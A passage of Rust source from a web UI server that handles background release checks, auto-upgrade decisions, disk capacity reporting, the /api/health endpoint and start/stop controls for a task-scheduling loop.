2678///
2679/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2680/// is already the newest" from "never checked" - both are `None` - and the
2681/// phone needs to tell those apart to decide whether the deck can be trusted
2682/// to have an opinion at all.
2683#[derive(Debug, Clone, Serialize)]
2684struct UpdateView {
2685    /// A newer release is known to exist.
2686    available: bool,
2687    /// Its tag, when `available`.
2688    to: Option<String>,
2689}
2690
2691/// [`updater::Progress`] as `/api/health` reports it.
2692#[derive(Debug, Serialize)]
2693struct UpgradeProgressView {
2694    trigger: updater::UpgradeTrigger,
2695    stage: updater::Stage,
2696    from: String,
2697    to: Option<String>,
2698    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2699    /// the step it is finishing before the address is handed over.
2700    waiting_on: Option<String>,
2701    started_at: Timestamp,
2702    updated_at: Timestamp,
2703    detail: Option<String>,
2704    /// Seconds the stage has outlived its allowance, when it has - see
2705    /// [`updater::stall`]. `null` while the stage is moving normally.
2706    stuck_for_secs: Option<i64>,
2707    /// Which kind of stuck: `never_entered` (hand_over left no record of
2708    /// starting) or `stopped_beating`. `null` when not stuck.
2709    stuck_kind: Option<updater::StallKind>,
2710    /// `hand_over` is alive and waiting on the loop: however long that takes,
2711    /// it is not an overdue upgrade.
2712    handover_alive: bool,
2713}
2714
2715/// Whether [`run_update_recheck`] may act at all this tick.
2716///
2717/// The same two conditions [`updater::Checker::new`] and
2718/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2719/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2720/// GitHub from this process" - on a button press or on a timer alike.
2721fn should_spawn_recheck(cfg: &Update) -> bool {
2722    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2723}
2724
2725/// Whether this tick should actually reach the network, once checking itself
2726/// is allowed.
2727///
2728/// An upgrade already in flight must not be raced by a check that discovers
2729/// a *newer* release while one is still installing - a phone watching
2730/// `/api/health` would see the answer change out from under the upgrade it
2731/// already asked for. Past that, [`updater::Checker::should_check`] is the
2732/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2733/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2734/// polling period, is what keeps this task's network use to at most once per
2735/// `[update] interval` regardless of how often it wakes up.
2736fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2737    if progress.is_some_and(|p| !p.stage.terminal()) {
2738        return false;
2739    }
2740    checker.should_check()
2741}
2742
2743/// How long [`run_update_recheck`] sleeps before its next wake-up.
2744///
2745/// A fraction of the configured `[update] interval` rather than a fixed
2746/// number: a fixed sleep longer than a short custom interval would leave the
2747/// deck waiting on its own wake-up rather than on `should_check`, so an
2748/// operator who set `interval = "1m"` to make the UI catch up quickly would
2749/// not see that take effect until the next restart - exactly the bug this
2750/// task exists to fix, just moved one level down. Scaling with the interval
2751/// keeps the wake-up prompt relative to what was actually configured, while
2752/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2753/// still what caps the network calls themselves at one per interval,
2754/// regardless of how often this fires.
2755fn recheck_poll_period(cfg: &Update) -> Duration {
2756    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2757}
2758
2759#[derive(Debug, PartialEq, Eq)]
2760enum AutoUpgradeDecision {
2761    Skip(&'static str),
2762    Trigger,
2763}
2764
2765fn auto_upgrade_decision(
2766    cfg: &Update,
2767    disabled: bool,
2768    in_motion: bool,
2769    tag: &str,
2770    failed: Option<&str>,
2771) -> AutoUpgradeDecision {
2772    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2773        AutoUpgradeDecision::Skip("disabled")
2774    } else if in_motion {
2775        AutoUpgradeDecision::Skip("upgrade already in progress")
2776    } else if failed == Some(tag) {
2777        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2778    } else {
2779        AutoUpgradeDecision::Trigger
2780    }
2781}
2782
2783/// Refresh the shared cache and optionally request the same handover as the UI.
2784async fn run_update_recheck(ui: Arc<Ui>) {
2785    loop {
2786        tokio::time::sleep(update_recheck_once(&ui).await).await;
2787    }
2788}
2789
2790async fn update_recheck_once(ui: &Arc<Ui>) -> Duration {
2791    let cfg = match Config::discover(&ui.repo, None) {
2792        Ok((cfg, _)) => cfg,
2793        Err(e) => {
2794            updater::log_warn(
2795                &ui.home,
2796                &format!("auto-upgrade: config unavailable: {e:#}"),
2797            );
2798            return UPDATE_RECHECK_POLL_MAX;
2799        }
2800    };
2801    if should_spawn_recheck(&cfg.update)
2802        && let Some(checker) = updater::Checker::new(&cfg.update)
2803    {
2804        let progress = updater::read_progress(&ui.home);
2805        let mut latest = checker.cached_update();
2806        if update_recheck_due(&checker, progress.as_ref()) {
2807            match checker.newer_release().await {
2808                Ok(found) => latest = found,
2809                Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2810            }
2811        }
2812        if cfg.update.auto_restart
2813            && let Some(latest) = latest
2814        {
2815            let response = begin_upgrade(ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2816            updater::log_step(
2817                &ui.home,
2818                &format!("auto-upgrade: request status {}", response.status()),
2819            );
2820        }
2821    }
2822    recheck_poll_period(&cfg.update)
2823}
2824
2825/// [`UpdateView`] from the same throttled, disk-only state
2826/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2827/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2828/// no cached state at all, which is correct: an operator who turned checking
2829/// off gets no opinion, not a stale one.
2830fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2831    let default;
2832    let cfg = match cfg {
2833        Some(cfg) => cfg,
2834        None => {
2835            default = Config::default();
2836            &default
2837        }
2838    };
2839    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2840    match latest {
2841        Some(latest) => UpdateView {
2842            available: true,
2843            to: Some(latest.tag_name),
2844        },
2845        None => UpdateView {
2846            available: false,
2847            to: None,
2848        },
2849    }
2850}
2851
2852/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2853/// from the parked run's own state when the stage is
2854/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2855/// already on disk in `run.json`, so this reads them fresh rather than
2856/// trusting whatever was true the moment the park was requested.
2857fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2858    let now = Timestamp::now();
2859    let lease = updater::read_lease(&ui.home);
2860    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2861    let run_id = alive
2862        .and_then(|l| l.parked_run.as_deref())
2863        .or(progress.parked_run.as_deref());
2864    let parking = progress.stage == updater::Stage::Parking;
2865    let waited = alive.map_or_else(String::new, |l| {
2866        let secs = updater::waited_secs(l, now);
2867        format!(" (waited {} min so far)", secs / 60)
2868    });
2869    let run_text = run_id
2870        .filter(|_| parking)
2871        .map(|id| match read_run(&ui.runs, id).ok() {
2872            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2873            None => format!("run {id} is finishing"),
2874        });
2875    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2876        .filter(|t| parking && !t.is_empty())
2877        .map(|t| format!("{t} finishing"));
2878    let waiting_on = match (run_text, talks_text) {
2879        (None, None) => None,
2880        (run, talks) => {
2881            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2882            Some(format!(
2883                "{} before the address is handed over{waited}",
2884                parts.join(" and ")
2885            ))
2886        }
2887    };
2888    let detail = progress
2889        .detail
2890        .clone()
2891        .or_else(|| updater::read_note(&ui.home, &progress));
2892    let stalled = updater::stall(&progress, lease.as_ref(), now);
2893    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2894    UpgradeProgressView {
2895        trigger: progress.trigger,
2896        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2897        stuck_kind: stalled.map(|s| s.kind),
2898        handover_alive: alive.is_some(),
2899        stage: progress.stage,
2900        from: progress.from,
2901        to: progress.to,
2902        waiting_on,
2903        started_at: progress.started_at,
2904        updated_at: progress.updated_at,
2905        detail,
2906    }
2907}
2908
2909/// Last successful capacity observations, independent of admission/cleanup.
2910/// Cold or unavailable directory measurements are null, never invented zeros.
2911#[derive(Debug, Serialize)]
2912struct DiskView {
2913    /// Free bytes on the volume holding the runs, when measurable.
2914    #[serde(skip_serializing_if = "Option::is_none")]
2915    free_bytes: Option<u64>,
2916    /// Everything the runs directory occupies, when fully measurable.
2917    runs_bytes: Option<u64>,
2918    /// Everything the runs' worktrees occupy.
2919    worktrees_bytes: Option<u64>,
2920    /// The shared build cache's size, when the config names one.
2921    #[serde(skip_serializing_if = "Option::is_none")]
2922    cache_bytes: Option<u64>,
2923    /// Last bounded cleanup report, including retention and failure reasons.
2924    retention: Option<crate::retention::Report>,
2925}
2926
2927/// Capacity walks have their own demand-driven single flight, not the revision
2928/// worker: a large build cache must never delay revisions or a health response.
2929const DISK_REFRESH: Duration = Duration::from_secs(60);
2930
2931#[derive(Debug, Clone, PartialEq, Eq)]
2932struct DiskScope {
2933    runs: PathBuf,
2934    worktrees: PathBuf,
2935    cache: Option<PathBuf>,
2936}
2937
2938impl DiskScope {
2939    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2940        Self {
2941            runs: ui.runs.clone(),
2942            worktrees: ui.worktrees_root.clone(),
2943            cache: cfg.and_then(Config::cache_dir),
2944        }
2945    }
2946}
2947
2948#[derive(Debug, Clone, Copy, Default)]
2949struct DiskCapacity {
2950    free_bytes: Option<u64>,
2951    runs_bytes: Option<u64>,
2952    worktrees_bytes: Option<u64>,
2953    cache_bytes: Option<u64>,
2954}
2955
2956impl DiskCapacity {
2957    fn measure(scope: &DiskScope) -> Self {
2958        Self {
2959            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2960            runs_bytes: disk_capacity_size(&scope.runs),
2961            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2962            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2963        }
2964    }
2965
2966    fn retain_successes(&mut self, next: Self) {
2967        self.free_bytes = next.free_bytes.or(self.free_bytes);
2968        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2969        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2970        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2971    }
2972}
2973
2974/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2975/// best-effort total, an incomplete observation must not look like an empty tree.
2976fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2977    let metadata = match std::fs::symlink_metadata(path) {
2978        Ok(metadata) => metadata,
2979        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2980        Err(_) => return None,
2981    };
2982    if !metadata.is_dir() {
2983        return Some(if metadata.is_file() {
2984            metadata.len()
2985        } else {
2986            0
2987        });
2988    }
2989    let mut total = 0;
2990    let mut stack = vec![path.to_owned()];
2991    while let Some(dir) = stack.pop() {
2992        for entry in std::fs::read_dir(dir).ok()? {
2993            let entry = entry.ok()?;
2994            let metadata = entry.metadata().ok()?;
2995            if metadata.is_dir() {
2996                stack.push(entry.path());
2997            } else if metadata.is_file() {
2998                total += metadata.len();
2999            }
3000        }
3001    }
3002    Some(total)
3003}
3004
3005#[derive(Debug, Default)]
3006struct DiskObservation {
3007    scope: Option<DiskScope>,
3008    capacity: DiskCapacity,
3009    in_flight: bool,
3010    finished: Option<std::time::Instant>,
3011}
3012
3013impl DiskObservation {
3014    fn observe(
3015        state: &Arc<Mutex<Self>>,
3016        scope: DiskScope,
3017        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
3018    ) -> DiskCapacity {
3019        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
3020        if observation.scope.as_ref() != Some(&scope) {
3021            observation.scope = Some(scope.clone());
3022            observation.capacity = DiskCapacity::default();
3023            observation.finished = None;
3024        }
3025        let capacity = observation.capacity;
3026        if observation.in_flight
3027            || observation
3028                .finished
3029                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
3030        {
3031            return capacity;
3032        }
3033        observation.in_flight = true;
3034        drop(observation);
3035
3036        let refresh = DiskRefresh {
3037            state: Arc::clone(state),
3038            scope,
3039        };
3040        tokio::task::spawn_blocking(move || {
3041            let next = measure(&refresh.scope);
3042            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
3043            if observation.scope.as_ref() == Some(&refresh.scope) {
3044                observation.capacity.retain_successes(next);
3045            }
3046            drop(observation);
3047            // The guard also clears the flight on panic or a cancelled,
3048            // not-yet-started blocking job. No failed scan can wedge health.
3049            drop(refresh);
3050        });
3051        capacity
3052    }
3053}
3054
3055struct DiskRefresh {
3056    state: Arc<Mutex<DiskObservation>>,
3057    scope: DiskScope,
3058}
3059
3060impl Drop for DiskRefresh {
3061    fn drop(&mut self) {
3062        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
3063        observation.in_flight = false;
3064        if observation.scope.as_ref() == Some(&self.scope) {
3065            // Wait a full period after completion, including failed scans.
3066            observation.finished = Some(std::time::Instant::now());
3067        }
3068    }
3069}
3070
3071impl DiskView {
3072    /// Return immediately, retaining known capacity while one worker refreshes.
3073    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
3074        let capacity = DiskObservation::observe(
3075            &ui.monitor.disk,
3076            DiskScope::of(ui, cfg),
3077            DiskCapacity::measure,
3078        );
3079        Self::with_capacity(ui, capacity)
3080    }
3081
3082    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
3083        Self {
3084            free_bytes: crate::disk::free_bytes(&ui.runs)
3085                .ok()
3086                .or(capacity.free_bytes),
3087            runs_bytes: capacity.runs_bytes,
3088            worktrees_bytes: capacity.worktrees_bytes,
3089            cache_bytes: capacity.cache_bytes,
3090            retention: ui
3091                .runs
3092                .parent()
3093                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
3094                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
3095        }
3096    }
3097}
3098
3099/// The daemon's state as the UI presents it.
3100#[derive(Debug, Serialize)]
3101struct DaemonView {
3102    running: bool,
3103    idle: Option<bool>,
3104    dispatch_wait: Option<daemon::DispatchWait>,
3105    pid: Option<u32>,
3106    /// Every task and run currently in flight. Empty when idle; more than
3107    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3108    /// run going at once.
3109    current: Vec<daemon::Current>,
3110    completed: Option<u64>,
3111    stale_for_secs: Option<i64>,
3112}
3113
3114impl DaemonView {
3115    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3116    /// not this UI's — a crashed daemon must not look alive here while
3117    /// `doctor` calls it dead.
3118    fn of(status: Option<daemon::Reading>) -> Self {
3119        let Some(status) = status else {
3120            return Self {
3121                running: false,
3122                idle: None,
3123                dispatch_wait: None,
3124                pid: None,
3125                current: Vec::new(),
3126                completed: None,
3127                stale_for_secs: None,
3128            };
3129        };
3130        let now = Timestamp::now();
3131        let age = status.age_secs(now);
3132        Self {
3133            running: status.running(now),
3134            idle: Some(status.idle),
3135            dispatch_wait: status.dispatch_wait,
3136            pid: status.pid,
3137            current: status.current,
3138            completed: Some(status.completed),
3139            stale_for_secs: age,
3140        }
3141    }
3142}
3143
3144// Discover display configuration off the request path. Capacity measurement
3145// retains its separate single flight and scope/failure handling below.
3146fn refresh_health_config(ui: &Arc<Ui>) {
3147    let mut cache = ui
3148        .monitor
3149        .disk_cache
3150        .lock()
3151        .unwrap_or_else(PoisonError::into_inner);
3152    if cache.loading
3153        || cache
3154            .measured
3155            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3156    {
3157        return;
3158    }
3159    cache.loading = true;
3160    let weak = Arc::downgrade(ui);
3161    std::thread::spawn(move || {
3162        let Some(ui) = weak.upgrade() else { return };
3163        let cfg = deputy_config(&ui.repo);
3164        let update = cached_update_view(cfg.as_ref());
3165        let mut cache = ui
3166            .monitor
3167            .disk_cache
3168            .lock()
3169            .unwrap_or_else(PoisonError::into_inner);
3170        cache.config = cfg;
3171        cache.update = Some(update);
3172        cache.measured = Some(std::time::Instant::now());
3173        cache.loading = false;
3174    });
3175}
3176
3177fn health_counts(
3178    ui: &Ui,
3179    fallback_questions_rev: u64,
3180) -> ApiResult<(usize, usize, usize, u64, usize)> {
3181    let mut index = ui
3182        .monitor
3183        .health_index
3184        .lock()
3185        .unwrap_or_else(PoisonError::into_inner);
3186    let ids = run_ids(&ui.runs);
3187    let seen: HashSet<_> = ids.iter().cloned().collect();
3188    index.runs.retain(|id, _| seen.contains(id));
3189    let mut unreadable = 0;
3190    for id in ids {
3191        // Recheck identity on every request, including atomic replacements
3192        // with preserved length/mtime. A failed stat is never cached as good.
3193        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3194        let bad = match identity {
3195            Ok(identity) => {
3196                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3197                    let bad = read_run(&ui.runs, &id).is_err();
3198                    index.runs.insert(id.clone(), (identity, bad));
3199                    #[cfg(test)]
3200                    {
3201                        index.run_parses += 1;
3202                    }
3203                }
3204                index.runs[&id].1
3205            }
3206            Err(_) => true,
3207        };
3208        unreadable += usize::from(bad);
3209    }
3210    let questions_rev = try_stamps(ui.questions.root(), false, true)
3211        .map(|stamps| stamps_revision(&stamps))
3212        .unwrap_or(fallback_questions_rev);
3213    if index.questions.as_ref().is_none_or(|counts| {
3214        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3215    }) {
3216        let questions = ui.questions.list();
3217        index.questions = Some(QuestionCounts {
3218            revision: questions_rev,
3219            measured: std::time::Instant::now(),
3220            open: questions.iter().filter(|q| q.status.open()).count(),
3221            owner: questions
3222                .iter()
3223                .filter(|q| {
3224                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3225                })
3226                .count(),
3227        });
3228    }
3229    let notifications_rev =
3230        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3231    if index
3232        .notices
3233        .is_none_or(|(rev, _)| rev != notifications_rev)
3234    {
3235        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3236    }
3237    let questions = index.questions.as_ref().unwrap();
3238    Ok((
3239        unreadable,
3240        questions.open,
3241        questions.owner,
3242        notifications_rev,
3243        index.notices.unwrap().1,
3244    ))
3245}
3246
3247async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3248    let revisions = ui.monitor.revisions(&ui).await?;
3249    refresh_health_config(&ui);
3250    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3251        // One read of the status file for the two fields that describe it, so
3252        // `daemon` and `loop` in the same answer cannot disagree about who is
3253        // running the loop.
3254        let reading = daemon::read_status(&ui.home);
3255        // Read on its own line, not inside the literal below: the loop's lock
3256        // is not reentrant, and a guard taken as a temporary there would still
3257        // be held when `loop_view` took it again.
3258        let loop_rev = ui.lock_loop().rev;
3259        let (
3260            runs_unreadable,
3261            questions_open,
3262            questions_needs_owner,
3263            notifications_rev,
3264            notifications_unread,
3265        ) = health_counts(&ui, revisions.2)?;
3266        let ((cfg, config_observed, sizes, measured), update) = {
3267            let cache = ui
3268                .monitor
3269                .disk_cache
3270                .lock()
3271                .unwrap_or_else(PoisonError::into_inner);
3272            (
3273                (
3274                    cache.config.clone(),
3275                    cache.measured.is_some(),
3276                    cache.disk.clone(),
3277                    cache.measured,
3278                ),
3279                cache.update.clone().unwrap_or(UpdateView {
3280                    available: false,
3281                    to: None,
3282                }),
3283            )
3284        };
3285        // Retain the base's capacity observation independently of config
3286        // refreshes. A cold config read may still be pending; an existing
3287        // capacity flight must remain visible to concurrent health requests.
3288        let prior_capacity = {
3289            let mut observation = ui
3290                .monitor
3291                .disk
3292                .lock()
3293                .unwrap_or_else(PoisonError::into_inner);
3294            // Adopt a completed size snapshot only before the scoped capacity
3295            // observer has started. Later scope changes remain its authority.
3296            if observation.scope.is_none()
3297                && let Some(sizes) = sizes
3298            {
3299                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3300                observation.capacity = DiskCapacity {
3301                    runs_bytes: Some(sizes.runs),
3302                    worktrees_bytes: Some(sizes.worktrees),
3303                    cache_bytes: sizes.cache,
3304                    free_bytes: None,
3305                };
3306                observation.finished = measured;
3307            }
3308            observation.scope.as_ref().map(|_| observation.capacity)
3309        };
3310        let disk = if config_observed {
3311            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3312        } else {
3313            serde_json::to_value(DiskView::with_capacity(
3314                &ui,
3315                prior_capacity.unwrap_or_default(),
3316            ))
3317            .ok()
3318        };
3319        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3320        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3321        #[cfg(not(test))]
3322        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3323        #[cfg(test)]
3324        let looping = ui.loop_view(reading.clone());
3325        Ok(Json(HealthView {
3326            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3327            version: env!("CARGO_PKG_VERSION"),
3328            home: ui.home.display().to_string(),
3329            queue_rev: revisions.0,
3330            runs_rev: revisions.1,
3331            questions_rev: revisions.2,
3332            talks_rev: revisions.3,
3333            notifications_rev,
3334            notifications_unread,
3335            loop_rev,
3336            runs_unreadable,
3337            questions_open,
3338            questions_needs_owner,
3339            daemon: DaemonView::of(reading.clone()),
3340            looping,
3341            disk,
3342            update,
3343            upgrade,
3344            upgrade_request_error: ui
3345                .upgrade_request_error
3346                .lock()
3347                .unwrap_or_else(PoisonError::into_inner)
3348                .clone(),
3349        }))
3350    })
3351    .await
3352}
3353
3354/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3355#[derive(Debug, Serialize)]
3356struct LoopView {
3357    /// A scheduler is running, independently of this web process.
3358    running: bool,
3359    /// The scheduler has been asked to stop scheduling new work.
3360    stopping: bool,
3361    /// An explicit operator park was requested, independently from updates.
3362    parking: bool,
3363    /// This scheduler supports durable controls from any web generation.
3364    owned: bool,
3365    /// Repository the loop uses for tasks that name none - what it was
3366    /// started with while it runs, and what a start would use before that.
3367    repo: String,
3368    /// Merge mode override in force, or `null` when each repository's own
3369    /// config decides.
3370    merge: Option<String>,
3371    /// Why the last loop in this process ended, when it ended badly.
3372    ///
3373    /// The only place a crashed loop is visible to someone holding a phone.
3374    /// It is logged at error level as well, but a terminal nobody kept open
3375    /// is not a report, and a loop that died at 3am must not read as merely
3376    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3377    /// answers the same question about the same kind of failure.
3378    last_error: Option<String>,
3379    /// The status file, judged the same way `/api/health` judges it: this is
3380    /// what says whether a loop is alive in some *other* process.
3381    daemon: DaemonView,
3382}
3383
3384/// A legacy embedded scheduler that this web process cannot control.
3385///
3386/// Worker-protocol schedulers use durable controls regardless of which process
3387/// started them. Older schedulers are identified by their foreign heartbeat.
3388#[derive(Debug, Clone, Copy)]
3389struct Foreign {
3390    /// The pid the other process published, when it published one.
3391    pid: Option<u32>,
3392}
3393
3394impl Foreign {
3395    /// Another process's live loop, or `None` when this process is free to
3396    /// run one.
3397    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3398        // A fresh heartbeat with no pid in it is still evidence of a live
3399        // daemon. "Some other process" is the honest answer, and refusing
3400        // to start beside it is the safe one.
3401        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3402            return None;
3403        }
3404        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3405    }
3406
3407    /// How a conflict names it. The pid is the whole point of the message: it
3408    /// is what the operator needs to find the terminal that owns the loop.
3409    fn who(&self) -> String {
3410        match self.pid {
3411            Some(pid) => format!("another magi process (pid {pid})"),
3412            None => "another magi process".to_owned(),
3413        }
3414    }
3415}
3416
3417/// How a loop is started, as a future this module can hold onto.
3418///
3419/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3420/// trait object or a hand-written `Debug` impl for the sake of one seam.
3421type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3422
3423#[cfg(test)]
3424type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3425
3426/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3427#[cfg(test)]
3428fn launch_daemon(
3429    opts: daemon::Opts,
3430    stop: daemon::Stop,
3431) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3432    Box::pin(daemon::serve_until(opts, stop))
3433}
3434
3435/// Local web-control revisions and errors, plus the unit-test launch seam.
3436#[derive(Debug, Default)]
3437struct LoopState {
3438    /// The loop, while there is one.
3439    #[cfg(test)]
3440    live: Option<Live>,
3441    /// Local control changes streamed as `loop_rev`; actual scheduler and
3442    /// execution ownership comes from durable status and OS-held worker leases.
3443    rev: u64,
3444    /// Why the last loop ended, when it ended badly. See
3445    /// [`LoopView::last_error`].
3446    last_error: Option<String>,
3447}
3448
3449/// A loop in flight.
3450#[cfg(test)]
3451#[derive(Debug)]
3452struct Live {
3453    /// The cooperative stop, shared with the loop task.
3454    stop: daemon::Stop,
3455    /// The task itself, kept only to answer whether it is still there: a loop
3456    /// that panicked never records its own end, and without this the view
3457    /// would go on reporting a loop that no longer exists - the one lie that
3458    /// would leave the operator with no button to press.
3459    handle: tokio::task::JoinHandle<()>,
3460    /// What the loop was started with, so the view reports the repository and
3461    /// merge mode its runs will actually use rather than what an edit to the
3462    /// config since would give.
3463    opts: daemon::Opts,
3464}
3465
3466#[cfg(test)]
3467impl Live {
3468    /// Is the task still there? See [`Live::handle`].
3469    fn alive(&self) -> bool {
3470        !self.handle.is_finished()
3471    }
3472}
3473
3474/// Take the loop lock, recovering from a poisoned one.
3475///
3476/// What this mutex holds is a stop flag, a task handle and two counters, none
3477/// of which a panic elsewhere can leave in a state worth refusing to read.
3478/// Propagating the poison instead would mean an operator who can see the loop
3479/// running and can no longer stop it from the only surface they have.
3480fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3481    state.lock().unwrap_or_else(PoisonError::into_inner)
3482}
3483
3484/// `GET /api/loop`.
3485async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3486    blocking(move || {
3487        let reading = daemon::read_status(&ui.home);
3488        #[cfg(not(test))]
3489        let view = ui.try_loop_view(reading)?;
3490        #[cfg(test)]
3491        let view = ui.loop_view(reading);
3492        Ok(Json(view))
3493    })
3494    .await
3495}
3496
3497/// The body of `POST /api/loop`.
3498///
3499/// One required field and nothing else: no `default` and no unknown fields,
3500/// so a body that fails to say which way the switch was flipped is a 400
3501/// rather than a tap that quietly does the opposite of what was pressed.
3502#[derive(Debug, Deserialize)]
3503#[serde(deny_unknown_fields)]
3504struct LoopCommand {
3505    running: bool,
3506    /// Stop the run in flight at its next node boundary rather than letting it
3507    /// finish.
3508    ///
3509    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3510    /// competition is tens of minutes of paid work and finishing it is
3511    /// normally the cheapest thing to do. A park is for the operator who
3512    /// wants the process gone now - to replace the binary, most of all - and
3513    /// it costs at most the node in progress because every node writes its
3514    /// state before the next one starts.
3515    #[serde(default)]
3516    park: bool,
3517}
3518
3519/// Start or control the detached scheduler without waiting for execution
3520/// workers. Only an explicit park asks workers to stop at a node boundary.
3521async fn loop_post(
3522    State(ui): State<Arc<Ui>>,
3523    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3524) -> ApiResult<Json<LoopView>> {
3525    // Taken as a `Result` so a malformed body is a 400 like every other route
3526    // here, rather than axum's default 422 that the UI has no branch for.
3527    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3528    #[cfg(not(test))]
3529    {
3530        if body.running {
3531            ui.start_detached_loop().await?;
3532        } else {
3533            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3534            ui.stop_loop(foreign, body.park)?;
3535        }
3536        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3537    }
3538    #[cfg(test)]
3539    {
3540        blocking(move || {
3541            let reading = daemon::read_status(&ui.home);
3542            let foreign = Foreign::of(reading.as_ref());
3543            if body.running {
3544                ui.start_loop(foreign)?;
3545            } else {
3546                ui.stop_loop(foreign, body.park)?;
3547            }
3548            Ok(Json(ui.loop_view(reading)))
3549        })
3550        .await
3551    }
3552}
3553
3554/// What `POST /api/upgrade` set in motion.
3555#[derive(Debug, Serialize)]
3556struct UpgradeView {
3557    /// The version this process is running.
3558    from: String,
3559    /// The release it is replacing itself with, when there is one.
3560    to: Option<String>,
3561    /// What the operator should expect to happen next.
3562    detail: String,
3563}
3564
3565/// The stage of an upgrade that is still moving, if the record says so.
3566/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3567fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3568    progress.filter(|p| !p.stage.terminal())
3569}
3570
3571/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3572/// Unknown diagnostics retain their complete message without guessing a delay.
3573fn upgrade_retry_after(message: &str) -> Option<u64> {
3574    if !message.contains("GitHub") || !message.contains("rate limit") {
3575        return None;
3576    }
3577    if message.contains("retry now") {
3578        return Some(0);
3579    }
3580    let duration = message
3581        .split_once("resets in ")
3582        .or_else(|| message.split_once("retry after "))?
3583        .1
3584        .split_once(')')?
3585        .0;
3586    let mut rest = duration.trim();
3587    if rest.is_empty() {
3588        return None;
3589    }
3590    let mut total = 0u64;
3591    while !rest.is_empty() {
3592        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3593        let amount: u64 = rest[..n].parse().ok()?;
3594        let scale = match rest[n..].chars().next()? {
